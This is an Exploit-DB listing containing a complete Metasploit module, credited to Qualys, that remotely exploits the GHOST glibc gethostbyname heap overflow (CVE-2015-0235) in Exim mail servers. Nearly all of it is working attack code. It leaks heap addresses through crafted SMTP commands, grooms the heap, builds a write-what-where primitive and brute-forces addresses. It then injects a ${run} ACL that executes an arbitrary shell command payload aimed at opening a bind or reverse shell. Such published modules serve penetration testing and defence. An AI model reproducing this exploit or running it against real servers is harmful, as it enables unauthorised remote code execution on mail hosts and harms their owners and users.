Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)

EDB-ID:

36421




Platform:

Linux

Date:

2015-03-18


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
      'Description' => %q(
        This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
        buffer overflow in the GNU C Library's gethostbyname functions) on x86
        and x86_64 GNU/Linux systems that run the Exim mail server. Technical
        information about the exploitation can be found in the original GHOST
        advisory, and in the source code of this module.
        ------------------------------------------------------------------------
        SERVER-SIDE REQUIREMENTS (Exim)
        ------------------------------------------------------------------------
        The remote system must use a vulnerable version of the GNU C Library:
        the first exploitable version is glibc-2.6, the last exploitable version
        is glibc-2.17; older versions might be exploitable too, but this module
        depends on the newer versions' fd_nextsize (a member of the malloc_chunk
        structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
        the heap.
        ------------------------------------------------------------------------
        The remote system must run the Exim mail server: the first exploitable
        version is exim-4.77; older versions might be exploitable too, but this
        module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
        set up the heap as described in the GHOST advisory.
        ------------------------------------------------------------------------
        The remote Exim mail server must be configured to perform extra security
        checks against its SMTP clients: either the helo_try_verify_hosts or the
        helo_verify_hosts option must be enabled; the "verify = helo" ACL might
        be exploitable too, but is unpredictable and therefore not supported by
        this module.
        ------------------------------------------------------------------------
        CLIENT-SIDE REQUIREMENTS (Metasploit)
        ------------------------------------------------------------------------
        This module's "exploit" method requires the SENDER_HOST_ADDRESS option
        to be set to the IPv4 address of the SMTP client (Metasploit), as seen
        by the SMTP server (Exim); additionally, this IPv4 address must have
        both forward and reverse DNS entries that match each other
        (Forward-Confirmed reverse DNS).
        ------------------------------------------------------------------------
        The remote Exim server might be exploitable even if the Metasploit
        client has no FCrDNS, but this module depends on Exim's sender_host_name
        variable to be set in order to reliably control the state of the remote
        heap.
        ------------------------------------------------------------------------
        TROUBLESHOOTING
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
        was not specified.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
        the SENDER_HOST_ADDRESS option was specified, but not in IPv4
        dotted-decimal notation.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
        "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
        SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
        client (Metasploit), as seen by the SMTP server (Exim).
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
        SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
        ------------------------------------------------------------------------
        "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
        is either not vulnerable, or not exploitable (glibc versions older than
        glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
        ------------------------------------------------------------------------
        "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
        contains bad characters (NUL, CR, LF) and was therefore mangled during
        the information leak; this exploit is able to reconstruct most of these
        addresses, but not all (worst-case probability is ~1/85, but could be
        further improved).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
        Unix command was executed, but spawned a bind-shell or a reverse-shell
        that failed to connect (maybe because of a firewall, or a NAT, etc).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
        remote Unix command was executed, but failed to spawn the shell (maybe
        because the setsid command doesn't exist, or awk isn't gawk, or netcat
        doesn't support the -6 or -e option, or telnet doesn't support the -z
        option, etc).
        ------------------------------------------------------------------------
        Comments and questions are welcome!
      ),
      'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
      'License' => BSD_LICENSE,
      'References' => [
        ['CVE', '2015-0235'],
        ['US-CERT-VU', '967332'],
        ['OSVDB', '117579'],
        ['BID', '72325'],
        ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
      ],
      'DisclosureDate' => 'Jan 27 2015',
      'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
      'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
      'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
      'Payload' => {
        'Space' => 255, # the shorter the payload, the higher the probability of code execution
        'BadChars' => "", # we encode the payload ourselves, because ^
        'DisableNops' => true,
        'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
      },
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(25),
      OptAddress.new('SENDER_HOST_ADDRESS', [false,
        'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
    ], self.class)

    register_advanced_options([
      OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
    ], self.class)
  end

  def check
    # for now, no information about the vulnerable state of the target
    check_code = Exploit::CheckCode::Unknown

    begin
      # not exploiting, just checking
      smtp_connect(false)

      # malloc()ate gethostbyname's buffer, and
      # make sure its next_chunk isn't the top chunk

      9.times do
        smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
        smtp_recv(HELO_CODES)
      end

      # overflow (4 bytes) gethostbyname's buffer, and
      # overwrite its next_chunk's size field with 0x00303030

      smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
      # from now on, an exception means vulnerable
      check_code = Exploit::CheckCode::Vulnerable
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/

      # realloc()ate gethostbyname's buffer, and
      # crash (old glibc) or abort (new glibc)
      # on the overwritten size field

      smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
      # a vulnerable target should've crashed by now
      check_code = Exploit::CheckCode::Safe

    rescue
      peer = "#{rhost}:#{rport}"
      vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")

    ensure
      smtp_disconnect
    end

    return check_code
  end

  def exploit
    unless datastore['I_KNOW_WHAT_I_AM_DOING']
      print_status("Checking if target is vulnerable...")
      fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
      print_good("Target is vulnerable.")
    end
    information_leak
    code_execution
  end

  private

  HELO_CODES = '250|451|550'
  ANY_CODE = '[0-9]{3}'

  MIN_HEAP_SHIFT = 80
  MIN_HEAP_SIZE = 128 * 1024
  MAX_HEAP_SIZE = 1024 * 1024

  # Exim
  ALIGNMENT = 8
  STORE_BLOCK_SIZE = 8192
  STOREPOOL_MIN_SIZE = 256

  LOG_BUFFER_SIZE = 8192
  BIG_BUFFER_SIZE = 16384

  SMTP_CMD_BUFFER_SIZE = 16384
  IN_BUFFER_SIZE = 8192

  # GNU C Library
  PREV_INUSE = 0x1
  NS_MAXDNAME = 1025

  # Linux
  MMAP_MIN_ADDR = 65536

  def information_leak
    print_status("Trying information leak...")
    leaked_arch = nil
    leaked_addr = []

    # try different heap_shift values, in case Exim's heap address contains
    # bad chars (NUL, CR, LF) and was mangled during the information leak;
    # we'll keep the longest one (the least likely to have been truncated)

    16.times do
      done = catch(:another_heap_shift) do
        heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
        print_debug("#{{ heap_shift: heap_shift }}")

        # write the malloc_chunk header at increasing offsets (8-byte step),
        # until we overwrite the "503 sender not yet given" error message

        128.step(256, 8) do |write_offset|
          error = try_information_leak(heap_shift, write_offset)
          print_debug("#{{ write_offset: write_offset, error: error }}")
          throw(:another_heap_shift) if not error
          next if error == "503 sender not yet given"

          # try a few more offsets (allows us to double-check things,
          # and distinguish between 32-bit and 64-bit machines)

          error = [error]
          1.upto(5) do |i|
            error[i] = try_information_leak(heap_shift, write_offset + i*8)
            throw(:another_heap_shift) if not error[i]
          end
          print_debug("#{{ error: error }}")

          _leaked_arch = leaked_arch
          if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
             (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
             (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
             (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86_64

          elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
                (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
                (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
                (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86

          else
            throw(:another_heap_shift)
          end
          print_debug("#{{ leaked_arch: leaked_arch }}")
          fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch

          # try different large-bins: most of them should be empty,
          # so keep the most frequent fd_nextsize address
          # (a pointer to the malloc_chunk itself)

          count = Hash.new(0)
          0.upto(9) do |last_digit|
            error = try_information_leak(heap_shift, write_offset, last_digit)
            next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
            next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
            count[error] += 1
          end
          print_debug("#{{ count: count }}")
          throw(:another_heap_shift) if count.empty?

          # convert count to a nested array of [key, value] arrays and sort it
          error_count = count.sort { |a, b| b[1] <=> a[1] }
          error_count = error_count.first # most frequent
          error = error_count[0]
          count = error_count[1]
          throw(:another_heap_shift) unless count >= 6 # majority
          leaked_addr.push({ error: error, shift: heap_shift })

          # common-case shortcut
          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
             (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
            leaked_addr = [leaked_addr.last] # use this one, and not another
            throw(:another_heap_shift, true) # done
          end
          throw(:another_heap_shift)
        end
        throw(:another_heap_shift)
      end
      break if done
    end

    fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?

    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
    leaked_addr = leaked_addr.first # longest
    error = leaked_addr[:error]
    shift = leaked_addr[:shift]

    leaked_addr = 0
    (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
      break if i >= error.length
      leaked_addr += error.unpack('C*')[i] * (2**(i*8))
    end
    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR

    print_good("Successfully leaked_arch: #{leaked_arch}")
    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
    @leaked = { arch: leaked_arch, addr: leaked_addr }
  end

  def try_information_leak(heap_shift, write_offset, last_digit = 9)
    fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
    fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
    fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
    fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/

    smtp_connect

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
    begin                       # ^ 0x30 | PREV_INUSE
      smtp_recv(HELO_CODES)

      smtp_send("RSET")
      smtp_recv(250)

      smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(503, 'sender not yet given')

      smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("DATA")
      reply = smtp_recv(503)

      lines = reply[:lines]
      fail if lines.size <= 3
      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"

      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
      # but happens with lower probability)

      error = lines[+1..-3].join("")
      error.sub!(/\A503-/mn, "")
      error.sub!(/\r\n\z/mn, "")
      error.gsub!(/\r\n503-/mn, "\n")
      return error

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  def code_execution
    print_status("Trying code execution...")

    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
    #       that rogue child processes cannot use them.

    fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
    fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
    print_debug(command)

    # don't try to execute commands directly, try a very simple ACL first,
    # to distinguish between exploitation-problems and shellcode-problems

    acldrop = "drop message="
    message = rand_text_alpha(command.length - acldrop.length)
    acldrop += message

    max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
    max_heap_addr = @leaked[:addr]
    min_heap_addr = nil
    survived = nil

    # we later fill log_buffer and big_buffer with alpha chars,
    # which creates a safe-zone at the beginning of the heap,
    # where we can't possibly crash during our brute-force

    # 4, because 3 copies of sender_helo_name, and step_len;
    # start big, but refine little by little in case
    # we crash because we overwrite important data

    helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
    loop do

      sender_helo_name = "A" * helo_len
      address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)

      # the 3 copies of sender_helo_name, allocated by
      # host_build_sender_fullhost() in POOL_PERM memory

      helo_ip_size = ALIGNMENT +
        sender_helo_name[+1..-2].length

      sender_fullhost_size = ALIGNMENT +
        sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length

      sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
        sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
        sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
      ).length

      # fit completely into the safe-zone
      step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
        (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
      loop do

        # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
        # with alpha chars, which creates another safe-zone at the end of the heap)
        heap_addr = max_heap_addr
        loop do

          # try harder the first time around: we obtain better
          # heap boundaries, and we usually hit our ACL faster

          (min_heap_addr ? 1 : 2).times do

            # try the same heap_addr several times, but with different random offsets,
            # in case we crash because our hijacked storeblock's length field is too small
            # (we don't control what's stored at heap_addr)

            rand_offset = rand(max_rand_offset)
            print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
            reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
            print_debug("#{{ reply: reply }}") if reply

            if reply and
               reply[:code] == "550" and
               # detect the parsed ACL, not the "still in text form" ACL (with "=")
               reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
              print_good("Brute-force SUCCESS")
              print_good("Please wait for reply...")
              # execute command this time, not acldrop
              reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
              print_debug("#{{ reply: reply }}")
              return handler
            end

            if not min_heap_addr
              if reply
                fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
                survived = heap_addr
              else
                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
                  # survived should point to our safe-zone at the beginning of the heap
                  fail_with("codeexec", "never survived") if not survived
                  print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
                  min_heap_addr = survived
                end
              end
            end
          end

          heap_addr -= step_len
          break if min_heap_addr and heap_addr < min_heap_addr
        end

        break if step_len < 1024
        step_len /= 2
      end

      helo_len /= 2
      break if helo_len < 1024
      # ^ otherwise the 3 copies of sender_helo_name will
      # fit into the current_block of POOL_PERM memory
    end
    fail_with("codeexec", "Brute-force FAILURE")
  end

  # our write-what-where primitive
  def try_code_execution(len, what, where)
    fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
    fail_with("codeexec", "#{where} < 0") if where < 0

    x86 = (@leaked[:arch] == ARCH_X86)
    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
    last_digit = 1 + rand(9)

    smtp_connect

    # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
    smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
             "501 : sender address must contain a domain\r\n\0".length)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250)

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    # / 5, because "\x7F" is non-print, and:
    # ss = store_get(length + nonprintcount * 4 + 1);
    smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
    smtp_recv(HELO_CODES)       # ^ 0x30 | PREV_INUSE

    # auth_xtextdecode() is the only way to overwrite the beginning of a
    # current_block of memory (the "storeblock" structure) with arbitrary data
    # (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
    # this shapes the rest of our exploit: we overwrite the beginning of the
    # current_block of POOL_PERM memory with the current_block of POOL_MAIN
    # memory (allocated by auth_xtextdecode()).

    auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
    (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
    auth_prefix += "."

    # also fill log_buffer with alpha chars
    smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
    smtp_recv(501, 'invalid data for AUTH')

    smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
    begin
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] !~ /#{HELO_CODES}/
      return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/

      smtp_send("MAIL FROM:<>")
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] != "250"

      smtp_send("RCPT TO:<postmaster>")
      reply = smtp_recv
      return reply

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
  DOT = '[.]'

  def smtp_connect(exploiting = true)
    fail_with("smtp_connect", "sock isn't nil") if sock

    connect
    fail_with("smtp_connect", "sock is nil") if not sock
    @smtp_state = :recv

    banner = smtp_recv(220)
    return if not exploiting

    sender_host_address = datastore['SENDER_HOST_ADDRESS']
    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
    end
    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"

    # turn helo_seen on (enable the MAIL command)
    # call smtp_verify_helo() (force fopen() and small malloc()s)
    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
    smtp_send("HELO #{sender_host_address_octal}")
    reply = smtp_recv(HELO_CODES)

    if reply[:code] != "250"
      fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
    end

    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
      smtp_active_hostname = $1
      sender_host_name = $2

      if sender_host_name =~ /\A(.*) at (\S*)\z/mn
        sender_host_name = $2
        sender_ident = $1
      else
        sender_ident = nil
      end
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal

    else
      # can't double-check sender_host_address here, so only for advanced users
      fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
      # worst-case scenario
      smtp_active_hostname = "A" * NS_MAXDNAME
      sender_host_name = "A" * NS_MAXDNAME
      sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
    end

    _sender = @sender
    @sender = {
      hostaddr: sender_host_address,
      hostaddr8: sender_host_address_octal,
      hostname: sender_host_name,
      ident: sender_ident,
      __smtp_active_hostname: smtp_active_hostname
    }
    fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender

    # avoid a future pathological case by forcing it now:
    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250, 'Reset OK')
  end

  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
    fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
    @smtp_state = :sending

    if not arg_pattern
      fail_with("smtp_send", "prefix is nil") if not prefix
      fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
      command = prefix

    else
      fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
      length = arg_length - arg_prefix.length - arg_suffix.length
      fail_with("smtp_send", "len is #{length}") if length <= 0
      argument = arg_prefix
      case arg_pattern
      when String
        argument += arg_pattern * (length / arg_pattern.length)
        argument += arg_pattern[0, length % arg_pattern.length]
      when Method
        argument += arg_pattern.call(length)
      end
      argument += arg_suffix
      fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
      command = prefix + argument + suffix
    end

    fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
    fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer

    # the following loop works around a bug in the put() method:
    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
    # (or send_idx and/or send_len could be removed altogether, like here)

    while command and not command.empty?
      num_sent = sock.put(command)
      fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
      fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
      command = command[num_sent..-1]
    end

    @smtp_state = :recv
  end

  def smtp_recv(expected_code = nil, expected_data = nil)
    fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
    @smtp_state = :recving

    failure = catch(:failure) do

      # parse SMTP replies very carefully (the information
      # leak injects arbitrary data into multiline replies)

      data = ""
      while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
        begin
          more_data = sock.get_once
        rescue
          throw(:failure, "Caught #{$!.class}: #{$!.message}")
        end
        throw(:failure, "no more data") if more_data.nil?
        throw(:failure, "no more data") if more_data.empty?
        data += more_data
      end

      throw(:failure, "malformed reply (count)") if data.count("\0") > 0
      lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
      throw(:failure, "malformed reply (empty)") if lines.empty?

      code = nil
      lines.size.times do |i|
        lines[i].sub!(/\A\r\n/mn, "")
        lines[i] += "\r\n"

        if i == 0
          code = lines[i][0,3]
          throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
          if expected_code and code !~ /\A(#{expected_code})\z/mn
            throw(:failure, "unexpected #{code}, expected #{expected_code}")
          end
        end

        line_begins_with = lines[i][0,4]
        line_should_begin_with = code + (i == lines.size-1 ? " " : "-")

        if line_begins_with != line_should_begin_with
          throw(:failure, "line begins with #{line_begins_with}, " \
                          "should begin with #{line_should_begin_with}")
        end
      end

      throw(:failure, "malformed reply (join)") if lines.join("") != data
      if expected_data and data !~ /#{expected_data}/mn
        throw(:failure, "unexpected data")
      end

      reply = { code: code, lines: lines }
      @smtp_state = :send
      return reply
    end

    fail_with("smtp_recv", "#{failure}") if expected_code
    return nil
  end

  def smtp_disconnect
    disconnect if sock
    fail_with("smtp_disconnect", "sock isn't nil") if sock
    @smtp_state = :disconnected
  end
end